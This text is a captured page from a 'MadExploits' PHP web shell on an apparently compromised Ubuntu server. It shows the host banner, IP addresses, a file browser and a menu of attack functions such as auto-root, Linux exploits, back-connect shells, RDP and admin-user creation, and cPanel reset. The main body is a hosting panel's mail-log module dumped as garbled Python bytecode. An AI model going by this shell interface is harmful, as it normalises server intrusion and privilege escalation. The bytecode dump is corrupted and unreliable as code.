Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.149.4.109
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
www /
server /
panel /
class_v2 /
power_mta /
__pycache__ /
[ HOME SHELL ]
Name
Size
Permission
Action
automations.cpython-312.pyc
81.67
KB
-rw-r--r--
maillog_stat.cpython-312.pyc
58.23
KB
-rw-r--r--
maillog_stat.cpython-37.pyc
27.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : maillog_stat.cpython-37.pyc
B ??�g�� � @ s^ d dl Z d dlZd dlZd dlZd dlZd dlZd dlmZ d dlmZ d dl Z d dl Z d dl Z d dl Z d dlZd dlmZ d dlmZ d dlmZ d dlZd dlmZ d dlmZmZ d d lmZ d dl Z d Z e� � � � � d �d k r�d Z d Z!e d kr�d Z!dZ"d�#e�$� �Z%dAe&e&d�dd�Z'G dd� d�Z(G dd� de(�Z)G dd� de(�Z*G dd� de(�Z+G d d � d e(�Z,G d d � d e(�Z-G d d!� d!�Z.G d"d#� d#ej/�Z0d$d%� Z1d&d'� Z2dBee3e3ej4d(�d)d*�Z5eej4d+�d,d-�Z6e7ej8e7 d.�d/d0�Z9dCe.e&e&e:ej8e7 e&d2�d3d4�Z;d5d6� Z<ej=e7d7�d8d9�Z>e7ej8ej= d7�d:d;�Z?e7d<�d=d>�Z@G d?d@� d@�ZAdS )D� N)�Param)�datetime)�glob)� SqliteEasy)�AES)�Image)�Response�redirect)�urlparse�ubuntu�centosz/var/log/mail.logz/var/log/maillogz/etc/postfix/main.cfz{}/data/last_maillog_time���)�latest_maillog_time�returnc C s� d}t j�t�rHttd��(}yt|�� �� �}W n Y nX W d Q R X | dkr�| |kr�ttd��}|�t | �� W d Q R X | }|S )Ng �rr �w) �os�path�exists� default_latest_log_time_file�open�float�read�strip�write�str)r Zcur_maillog_time�fp� r �"class_v2/power_mta/maillog_stat.py�last_maillog_time+ s r c @ s$ e Zd ZddgZdd� Zdd� ZdS )�AbstractMailRecord�postfix_message_id�log_timec C sH i }x>| j D ]4}t| |�r t| |�||< |dkr t|| �||< q W |S )Nr" )� __slots__�hasattr�getattr�int)�self�d�kr r r �to_dictA s zAbstractMailRecord.to_dictc C s t �| j��d�S )Nz%Y%m%d)r � fromtimestampr" �strftime)r' r r r � log_day_dateJ s z AbstractMailRecord.log_day_dateN)�__name__� __module__� __qualname__r# r* r- r r r r r > s r c @ s$ e Zd Zddddddddd d g Zd S ) �MailSendRecordr! � recipient� mail_provider�status�delay�delays�dsn�relay� descriptionr" N)r. r/ r0 r# r r r r r1 N s r1 c @ s e Zd ZdddgZdS )� MailMessageIdr! � message_idr" N)r. r/ r0 r# r r r r r: S s r: c @ s e Zd ZddddgZdS )� MailSenderr! �sender�sizer" N)r. r/ r0 r# r r r r r< W s r< c @ s e Zd ZddgZdS )� MailRemovedr! r" N)r. r/ r0 r# r r r r r? [ s r? c @ s e Zd ZdddddddgZdS ) �MailDeferredRecordr! r5 r6 r7 r8 r9 r" N)r. r/ r0 r# r r r r r@ _ s r@ c @ s� e Zd Ze�d�Ze�d�Ze�d�Ze�d�Ze�d�Z e�d�Z e�d�Z e�d�Z e�d �Z e�d �Ze�d �Ze�d �Ze�d �Ze�d�Zedddfeeeed�dd�Zdd� Zdd� Zdd� Zdd� Zeed �d d �Z eed �d d!�Z ee j e d �d"d#�Z d5e j!e eee j!e d�d%d&�Z"ee j!e j# d �d'd(�Z$d6ee%e j!e e j!e& d)�d*d+�Z'd7ee%e j!e e j!e& d)�d,d-�Z(d8ee%e j!e e j!e& d)�d.d/�Z)d9ee%e j!e e j!e& d)�d0d1�Z*e j+d2�d3d4�Z,d$S ):� MaillogStatz status=(\S+) z to=<([^>]+)>zdelay=(\d+(?:\.\d+)?),z,delays=(\d+(?:\.\d+)?(?:/\d+(?:\.\d+)?){3}),z dsn=([^,]+),zrelay=([^,]+),z \((.*?)\)$zmessage-id=<([^>]+)>z postfix/[^\[]+\[\d+]: *([^:]+):z'postfix/qmgr\[\d+]: *([^:]+): *removed$z;postfix/qmgr\[\d+]: *([^:]+): *from=<([^>]+)>, +size=(\d+),zmyhostname *= *([^\r\n]+)z virtual_transport *= *([^\r\n]+)z +r F)� maillog_path� start_time�end_time� do_summaryc C s� || _ || _|| _|| _t� | _t� | _t�� j | _ d| _ d| _ d| _ d| _i | _i | _d | _d | _dddddddd d d d d d� | _| �� | �� | �� | �� d S )Nr � � � � � � � � � � � � ) �Jan�Feb�Mar�Apr�May�Jun�Jul�Aug�Sep�Oct�Nov�Dec)�_MaillogStat__maillog_path�_MaillogStat__start_time�_MaillogStat__end_time�_MaillogStat__do_summary�set�_MaillogStat__ignore_relays�#_MaillogStat__ignore_mail_addressesr �now�year�_MaillogStat__current_year�_MaillogStat__delivered�_MaillogStat__bounced�_MaillogStat__deferred� _MaillogStat__deferred_total� _MaillogStat__bounce_details� _MaillogStat__deferral_details�_MaillogStat__mail_hostname�+_MaillogStat__standard_maillog_head_pattern�_MaillogStat__month_map�_MaillogStat__reset_datas� _MaillogStat__init_ignore_relays�(_MaillogStat__init_ignore_mail_addresses�3_MaillogStat__compile_standard_maillog_head_pattern)r' rB rC rD rE r r r �__init__w s, zMaillogStat.__init__c C sH | j �� | j�� t�tj�| j��j | _ d| _ d| _ d| _ d| _d S )Nr )rl �clearrm r r+ r r �getmtimer^ rf rg rh ri rj rk )r' r r r Z __reset_datas� s zMaillogStat.__reset_datasc C s� t j�t�sd S d }d }tt���}x�|D ]x}|�� }|dkr>q(|d k rP|d k rPP |d krx| j�|�}|d k rx|�d�}q(|d kr(| j �|�}|d k r(|�d�}q(q(W W d Q R X |d ks�|d kr�d S || _ | j � d� ||�d�d �� d S )N� rF z{}[{}]�:r )r r r �default_postfix_main_confr r �myhostname_pattern�search�group�virtual_transport_patternrn rc �add�format�split)r' Z myhostnameZvirtual_transportr �line�mr r r Z__init_ignore_relays� s2 z MaillogStat.__init_ignore_relaysc C s. | j �d� | jd k r*| j �d�| j�� d S )Nzroot@localhostzroot@{})rd r rn r� )r' r r r Z __init_ignore_mail_addresses� s z(MaillogStat.__init_ignore_mail_addressesc C s@ | j d krd S t| j ��dd�d }d| d }t�|�| _d S )N�.rG r zq((?:[A-Z][a-z]{2} \d{1,2} \d{2}(?::\d{2}){2}|\d{4}(?:-\d{2}){2}T\d{2}(?::\d{2}){2}(?:\.\d+)?(?:Z|\+\d{2}:\d{2})) z postfix/[^[]+\[\d+]: ))rn r r� �re�compilero )r' Ztop_host�regexpr r r Z'__compile_standard_maillog_head_pattern� s z3MaillogStat.__compile_standard_maillog_head_pattern)�emailr c C s� |� d�d }|dkrdS |dks,|�d�r0dS |dksB|�d �rFd S |d krRd S |d kr^dS |dksp|�d�rtdS |dkr�dS dS )N�@r )z gmail.comzgooglemail.com�google)z outlook.comz hotmail.comzlive.comzmsn.comzoutlook.Zoutlook)z yahoo.comz ymail.comzrocketmail.comzyahoo.Zyahoo)z icloud.comzme.comzmac.comz apple.comZapple)zprotonmail.comz proton.mezpm.meZproton)zzoho.comz zohomail.comz zohocorp.comz zmail.comzzoho.Zzoho)z kindle.comz amazon.comz awsapps.comZamazon�other)r� � startswith)r' r� �hostnamer r r Z__get_mail_provider� s z MaillogStat.__get_mail_provider)r� r c C s� |� � }y�|d d� �� r6tj�|�dd�d ��� S | j�|d�}t|�dk s^|d | j krbdS | j |d }t |d �}t t |d �d��\}}}t | j |||||��� S t�� dS d S )NrI � rG r r rF ry )r �isdigit�dateutil�parser�parser� � timestamp� split_pattern�lenrp r& �mapr rg �public� print_error)r' r� �parts�month�day�hour�minute�secondr r r Z__parse_log_time� s z MaillogStat.__parse_log_timec C sv | j d kr|gS | j �|�}t|�}|dk r2|gS g }x:tdt|�d�D ]&}|�t|| ||d ��� � qHW |S )NrH rF rG )ro r� r� �range�appendr r )r' r� r� Z parts_len�lines�ir r r Z__separate_logs_with_line s &z%MaillogStat.__separate_logs_with_lineNc c s | � � |d ks tj�|�s"| j}|| jkrBt�tj�|��j| _ |dk rP| j }|dk r^| j }|d krl| j }g }d� t�� �}|�d�}�x>tj||d�D �]*}| �|�} | d kr�q�|�� } | �| �} | dk �r|�| � t|�dkr�t|d�� } | �d� d�|��� W d Q R X g }q�|d k�r2| |d k�r2q�|d k�rL| |d k �rLP | | | |�} | d k�rdq�t| t��r�| j d k�r�t � }| j |_ | j |_ | j |_ | j!|_!| j"|_"| j#|_#| j$|_$|V | V q�W t|�d k�rt|d�� } | �d� d�|��� W d Q R X d S ) NrF z#{}/data/maillog_analysis_failed.logz.gz)� using_gzipi� �az{} � r g���ư>�deferred)%rq r r r r^ r r+ rw rf rg r_ r` ra r� r� �get_panel_path�endswith�read_file_each_reverse� _MaillogStat__get_analysis_fnr � _MaillogStat__parse_log_timer� r� r r �join� isinstancer1 r4 r@ r! r5 r6 r7 r8 r9 r" )r' rB rC rD rE Zmaillog_analysis_failedsZ maillog_analysis_failed_filer� Zline_tmp� analysis_fnr� r" r �recordZdeferred_recordr r r �analysis# s` zMaillogStat.analysisc C s� |� d�dkrd S d }|� d�dkrN|� d�dkr:| j}n|� d�dkrN| j}|d krx|� d�dkrx|� d�dkrx| j}|d kr�|� d�dkr�|� d �dkr�|� d �dkr�| j}|S ) Nz postfix/lmtp[r z postfix/qmgr[zfrom=<�removedzpostfix/cleanup[z message-id=<zto=<zstatus=zdsn=)�find�"_MaillogStat__analysis_with_sender�#_MaillogStat__analysis_with_removed�&_MaillogStat__analysis_with_message_id�%_MaillogStat__analysis_with_send_mail)r' r� r� r r r Z__get_analysis_fnu s 2z MaillogStat.__get_analysis_fn)r� r" rE r c C s� |� � }|dk r| �|�}|d kr(| j}| j�|�}|d kr@d S t� }|�d�� � |_|�d�� � |_t |�d�� � �|_ ||_ |j| j kr�d S |r�|S )NrF rG rH ) r r� ra �mail_sender_patternr| r< r} r! r= r& r> r" rd )r' r� r" rE Z m_mail_senderr� r r r Z__analysis_with_sender� s" z"MaillogStat.__analysis_with_senderc C sd |� � }|dk r| �|�}|d kr(| j}| j�|�}|d kr@d S t� }|�d�� � |_||_|r`|S )NrF ) r r� ra �mail_removed_patternr| r? r} r! r" )r' r� r" rE Zm_mail_removedr� r r r Z__analysis_with_removed� s z#MaillogStat.__analysis_with_removedc C s� |� � }|dk r| �|�}|d kr(| j}| j�|�}|d kr@d S | j�|�}|d krXd S t� }|�d�� � |_|�d�� � |_ ||_ |r�|S )NrF ) r r� ra �message_id_patternr| �custom_message_id_patternr: r} r! r; r" )r' r� r" rE � m_message_idZm_custom_message_idr� r r r Z__analysis_with_message_id� s" z&MaillogStat.__analysis_with_message_idc C s� |� � }|dk r| �|�}|d kr(| j}| j�|�}|d kr@d S | j�|�}|d krXd S | j�|�}|d krpd S t� }|�d�� � |_ ||_ |�d�� � |_ |�d�� � |_ d|_ d|_d|_d|_d|_|j | jkr�d S | j�|�}|d k �r|�d�� � } | | jk�rd S | |_| j�|�} | d k �r>t| �d�� � �|_ | j�|�} | d k �rd| �d�� � |_| j�|�} | d k �r�| �d�� � |_| j�|�} | d k �r�| �d�� � |_| �|j �|_|�r�|j dk�r�|jdk�r�| j d7 _ n�|j dk�r8| j d7 _ |j | j k�r"t � | j |j < | j |j � |j� nX|j dk�r�| j!d7 _!|j | j"k�r|t � | j"|j < | j#d7 _#| j"|j � |j� |S )NrF r rx �sentz2.0.0�bouncedr� )$r r� ra r� r| �recipient_pattern�status_patternr1 r} r! r" r2 r4 r5 r6 r7 r9 r3 rd � relay_patternrc r8 � delay_patternr �delays_pattern� dsn_pattern�description_pattern� _MaillogStat__get_mail_providerrh ri rl rb r rk rm rj )r' r� r" rE r� Z m_recipientZm_statusr� Zm_relayr8 Zm_delayZm_delaysZm_dsnZ m_descriptionr r r Z__analysis_with_send_mail� sx z%MaillogStat.__analysis_with_send_mail)r c C s | j | j| j| j| j| jd�S )N)� deliveredr� r� Zdeferred_totalZbounce_detailsZdeferral_details)rh ri rj rk rl rm )r' r r r �summaryN s zMaillogStat.summary)Nr r N)r N)r N)r N)r N)-r. r/ r0 r� r� r� r� r� r� r� r� r� r� r� r� r� r{ r~ r� �default_maillog_pathr r �boolru rq rr rs rt r� r� �typing�ListZ%_MaillogStat__separate_logs_with_line�Optionalr� �Callabler� r& r r� r� r� r� �Dictr� r r r r rA d s: ' " "R" """"erA c @ s< e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zd d � Zd S )�MaillogEventHandlerc O sF t jj| f|�|� t� tt� dd�| _d | _d| _d| _ d | _ d S )NF)rC rE �< ) � pyinotify� ProcessEventru �init_maillog_databasesrA r �"_MaillogEventHandler__maillog_stat�#_MaillogEventHandler__rename_cookie�&_MaillogEventHandler__analysis_archive�_MaillogEventHandler__delay�_MaillogEventHandler__timer)r' �args�kwargsr r r ru Z s z MaillogEventHandler.__init__c C s8 | j d k rd S t�| j| j�| _ | j �� t�d� d S )Nzregistered timer)r� � threading�Timerr� �$_MaillogEventHandler__update_maillog�start�logging�debug)r' r r r Z__register_timerc s z$MaillogEventHandler.__register_timerc C s� zjt �d� | jrJy t| jt� d�t�d� W n t� � Y nX d| _t| jt� �}t �d�|�� W d | j d k r�| j � � d | _ X d S )Nzupdate maillog...z{}.1)rB Fz+update maillog success, latest_log_time: {}) r� r� r� � analysis_and_save_to_databaser� r r� r� r� r� r� �cancel)r' �latest_log_timer r r Z__update_maillogl s z$MaillogEventHandler.__update_maillogc C s |j tkr| �� d S )N)�pathnamer� �$_MaillogEventHandler__register_timer)r' �eventr r r �process_IN_MODIFY� s z%MaillogEventHandler.process_IN_MODIFYc C s |j tkr|j| _d S )N)r� r� �cookier� )r' r� r r r �process_IN_MOVED_FROM� s z)MaillogEventHandler.process_IN_MOVED_FROMc C s, |j | jkr(|jd�t�kr(d | _d| _d S )Nz{}.1T)r� r� r� r� r� r� )r' r� r r r �process_IN_MOVED_TO� s z'MaillogEventHandler.process_IN_MOVED_TON) r. r/ r0 ru r� r� r� r� r� r r r r r� Y s r� c C sR t � } t�� }tjtjB tjB }|jtj� t �|ddd� t� || �}|� � d S )NT)Zauto_addZrec) r� r� Z WatchManagerZ IN_MODIFYZ IN_MOVED_FROMZ IN_MOVED_TOZ add_watchr r �dirnamer� ZNotifierZloop)ZevZwm�modeZnotifierr r r � maillog_event� s r� c C sv d}d� |�}d� t�� tj�|��}tj�|�s>t�|d� t�| |��}|� d� |� |� W d Q R X t�| |�S )Nu� -- 邮件从队列中移除记录 create table if not exists `removed` ( `postfix_message_id` text primary key, `log_time` integer not null default (strftime('%s')) ); -- 索引 create index if not exists `removed_logTime` on `removed` (`log_time`); -- 邮件MessageID create table if not exists `message_ids` ( `postfix_message_id` text primary key, `log_time` integer not null default (strftime('%s')), `message_id` text not null default '' ); -- 索引 create index if not exists `messageIds_logTime` on `message_ids` (`log_time`); create index if not exists `messageIds_messageId` on `message_ids` (`message_id`); -- 邮件发件人 create table if not exists `senders` ( `postfix_message_id` text primary key, `log_time` integer not null default (strftime('%s')), `size` integer not null default 0, `sender` text not null default '' ); -- 索引 create index if not exists `senders_logTime_size_sender` on `senders` (`log_time`, `size`, `sender`); -- 邮件发送记录（记录唯一，保留最新的发送记录） create table if not exists `send_mails` ( `postfix_message_id` text primary key, `log_time` integer not null default (strftime('%s')), `status` text not null default '', `recipient` text not null default '', `mail_provider` text not null default '', `delay` real not null default 0, `delays` text not null default '', `dsn` text not null default '', `relay` text not null default '', `description` text not null default '' ); -- 索引 create index if not exists `sendMails_logTime_status_recipient` on `send_mails` (`log_time`, `status`, `recipient`); create index if not exists `sendMails_logTime_status_mailProvider` on `send_mails` (`log_time`, `status`, `mail_provider`); -- 邮件延迟发送记录 create table if not exists `deferred_mails` ( `id` integer primary key autoincrement, `postfix_message_id` text not null default '', `log_time` integer not null default (strftime('%s')), `delay` real not null default 0, `delays` text not null default '', `dsn` text not null default '', `relay` text not null default '', `description` text not null default '' ); -- 索引 create index if not exists `deferredMails_postfixMessageId_logTime` on `deferred_mails` (`postfix_message_id`, `log_time`); -- 邮件打开记录 create table if not exists `opened` ( `id` integer primary key autoincrement, `campaign_id` iteger not null default 0, `log_time` integer not null default (strftime('%s')), `recipient` text not null default '', `postfix_message_id` text not null default '', `message_id` text not null default '' ); -- 索引1 create index if not exists `opened_postfixMessageId_logTime` on `opened` (`postfix_message_id`, `log_time`); -- 索引2 create index if not exists `opened_campaignId_logTime` on `opened` (`campaign_id`, `log_time`); -- 邮件点击记录 create table if not exists `clicked` ( `id` integer primary key autoincrement, `campaign_id` iteger not null default 0, `log_time` integer not null default (strftime('%s')), `recipient` text not null default '', `url` text not null default '', `postfix_message_id` text not null default '', `message_id` text not null default '' ); -- 索引1 create index if not exists `clicked_postfixMessageId_logTime_url` on `clicked` (`postfix_message_id`, `log_time`, `url`); -- 索引2 create index if not exists `clicked_campaignId_logTime_url_recipient` on `clicked` (`campaign_id`, `log_time`, `url`, `recipient`); zmaillog/maillog_{}z {}/data/{}i� zPRAGMA journal_mode = wal;) r� r� r� r r r� r �mkdir�SZexecute_script)� table_name�day_dateZcreate_table_sql�db_name�dir_path�queryr r r �maillog_db_query� s d r� )r� rC rD r c C s� |dk r|dk rt | �S |dk r,tt�� �}||k rBtt�d���g }| �� }xpt||d d�D ]\}t� |�� d�}d� t� � |�}t j�|�s�q`td |��}|�|�|��� � W d Q R X q`W |S )NrF z%end_time must greater than start_timei�Q z%Y%m%dz {}/data/maillog/maillog_{}.db)�query_maillog_allr& �time� ValueErrorr� �lang�snapshotr� r r+ r, r� r� r r r r� �extend�restore_from_snapshot�select) r� rC rD �retr� r� r� �db_path�qr r r � query_maillog_with_time_section s "r )r� r c C s^ g }| � � }xLtd�t�� ��D ]6}td |dd� ��}|�|�|��� � W d Q R X q W |S )Nz {}/data/maillog/maillog_*.dbi�������) r� r r� r� r� r� r� r� r� )r� r� r� r� r r r r r� ) s "r� )r; r c C s� xZt td�t�� ���D ]@}td|dd� ��$}|�d| ��d�}|d k rN|S W d Q R X qW x<tt t � � �d d�� � D ] }t |t �rx|j| krx|jS qxW d S ) Nz {}/data/maillog/maillog_*.db� message_idsi����r r; r! i, )rC )�reversedr r� r� r� r� �where�valuerA r& r� r� r� r: r; r! )r; r� r� r! r� r r r �'search_postfix_message_id_by_message_id7 s r T)� maillog_statrC rD �auto_update_maillog_timerB r c C s t td��� }t�|�� tj� i i i i i d�}d}�xJ| j|||d�D �]4}||jk r^|j}|�� } d } t |t �rzd} n>t |t �r�d} n.t |t �r�d} n t |t �r�d} nt |t�r�d } | d ksH| |kr�qH| || kr�g || | < || | �|�� � t|| | �d krHt| | ��F} | dk�rB| �d d d ���|| | � n| j|| | dd� W d Q R X || | �� |rHt|� qHW xv|�� D ]j\} } x^| �� D ]R\} } t| �dk�r�t| | ��} | j| dd� W d Q R X | �� |�r�t|� �q�W �q�W |�rt|� |S Q R X d S )N�ab)� send_mails�deferred_mailsr �sendersr� r )rC rD r r r r� r i� zOcase when excluded.log_time > log_time then excluded.log_time else log_time endzPcase when status not in ('sent', 'bounced') then excluded.status else status end)r" r4 �ignore)�option)r r �fcntlZflock�filenoZLOCK_EXr� r" r- r� r< r1 r: r? r@ r� r* r� r� Z duplicateZ insert_allrv r �items)r rC rD r rB r Z insert_datasr� r� r- r) r� Zinsert_data_lstZ insert_datar r r r� F sd r� c s� t � dkrt�d� d S t�� } tj�t�� dddddg}x^t� fdd �|�D ]H}t�� }t�d � |�� t t |�� t�d � t t�� | d ��� qNW t�d � t t�� | d ��� d S ) Nr z:maillog databases is initialized, do not initialize again.rx z.1z.2.gzz.3.gzz.4.gzc s d� � | �S )Nz /var/log/{}{})r� )�x)� maillog_namer r �<lambda>� � z(init_maillog_databases.<locals>.<lambda>z scanning {}zcost time: {}msi� ) r r� r� r� r r �basenamer� r� r� r� rA r& )rC �extsrB Z start_time_nr )r r r� � s $r� )�datar c C s� t j| dd�}t�d��d�}t�d��d�}t�|tj|�}|�t� |�d�d��}d}xRt d�D ]F}t |d �}|d dkr�||||d � 7 }qd||||d � 7 }qdW |d d� | |dd � }t � |��d��d �S ) NT)� ensure_ascii� zutf-8r � rG r rF �=)�json�dumpsr� �GetRandomString�encoder �new�MODE_CBC�encrypt� pkcs7_paddingr� r& �base64�urlsafe_b64encode�decoder ) r � data_json�key�iv�aes�data_aes�keyivr� �jr r r r$ � s r$ c C s� y�t | �}d|d }|dkr*| d| 7 } t�| �d��}|d d� |dd � }d}d}xFtd�D ]:}|d dkr�||||d � 7 }qd||||d � 7 }qdW t�|tj|�}t� |� |dd� �d�� d�} t � | �S d S d S ) NrI r r zutf-8r i�r r rG rF )r� r& �urlsafe_b64decoder! r� r r" r# r� �pkcs7_unpadding�decryptr( r �loads) r � data_length� amount_to_padr- r. r* r+ r� r, r) r r r r2 � s$ r2 )�enc_strc C s� t | �}|d krt�d�S ydt�|��td��� �dddg�td��� �dd�� t �td ��� � � td ��� td �� � g� W n t�d �S t |d �}|d kr�d }t�� �d�}|d dk�r>td|��0}|�|d t t�� �|d |d |d�� W d Q R X t�ddd�}t�� }|j|dd� |�d� t|dd�S |d dk�r�td|��6}|�|d t t�� �|d |d ||d d�� W d Q R X t|d �S t�d�S )Nz invalid data�type�inr �click� campaign_id�>r r2 r; �urlzinvalid data -2rx z%Y%m%dZopened)r: r" r2 r; r! ZRGB)rF rF )r r r r ZPNG)r� z image/png)�mimetypeZclicked)r: r" r2 r; r! r< �success) r2 r� r� � to_dict_obj�validater �Require�String�Integer�Filterr& �Email�Urlr r re r, r� �insertr� r r" �io�BytesIO�save�seekr r )r6 r r! Z today_dater� ZimgZimg_bsr r r �campaign_event_handler� sP rL c @ s� e Zd Ze�d�Zeeeeed�dd�Zdd� Z ed�dd �Z eed �d d �Z d d� Z ed�dd�Z ed�dd�Zed�dd�Zed�dd�ZdS )� MailTrackerzhref\s*=\s*"([^"]+)")� mail_htmlr: r; r2 �base_urlc C s: || _ d| _|| _|| _|| _|| _d�|�d��| _d S )NFz {}/v2/pmta�/) � _MailTracker__original_mail_html�_MailTracker__modified�_MailTracker__mail_html�_MailTracker__campaign_id�_MailTracker__message_id�_MailTracker__recipientr� r �_MailTracker__base_url)r' rN r: r; r2 rO r r r ru s zMailTracker.__init__c C s | j �| j| j�| _d| _d S )NT)�_MailTracker__href_pattern�sub�_MailTracker__repl_hrefrS rR )r' r r r � track_links s zMailTracker.track_links)r c C sX y0t |�d��}|jdks$|jdkr.|�d�S W n |�d�S d�| �|�d���S )NrF rx r z href="{}")r r} �scheme�netlocr� �get_tracking_url)r' r� r< r r r Z __repl_href s zMailTracker.__repl_href)r< r c C s$ d� | jtd| j| j| j|d���S )Nz{}/{}r9 )r7 r: r2 r; r< )r� rW r$ rT rV rU )r' r< r r r r^ % s z MailTracker.get_tracking_urlc C s� | j �d�dkr6| j �dd�| �� �d�| _ d| _d S | j �d�dkrl| j �dd�| �� �d�| _ d| _d S | j d�| �� �7 _ d| _d S )Nz</body>r z%<img src="{}" style="display:none" />rF Tz</html>z,<img src="{}" style="display:none" /></html>)rS r� �replacer� �get_tracking_pixelrR )r' r r r �append_tracking_pixel. s z!MailTracker.append_tracking_pixelc C s" d� | jtd| j| j| jd���S )Nz{}/{}r )r7 r: r2 r; )r� rW r$ rT rV rU )r' r r r r` < s z MailTracker.get_tracking_pixelc C s | j S )N)rR )r' r r r � is_modifiedD s zMailTracker.is_modifiedc C s | j S )N)rQ )r' r r r �get_original_htmlG s z MailTracker.get_original_htmlc C s | j S )N)rS )r' r r r �get_htmlJ s zMailTracker.get_htmlN)r. r/ r0 r� r� rX r r& ru r[ rZ r^ ra r` r� rb rc rd r r r r rM s rM )r )r r )r r TN)BrH r r� r� r� r� Zpublic.validater r Zdateutil.parserr� r� r� r r� r Zpublic.sqlite_easyr � Crypto.Cipherr r& ZPILr �BTPanelr r � urllib.parser r Zsys_distributor�get_linux_distribution�lowerr� r� rz r� r� r r r r r1 r: r< r? r@ rA r� r� r� r� r& r� r r� r r� r r� r� r� r� r$ r2 rL rM r r r r �<module> sf x5 t N9
Close
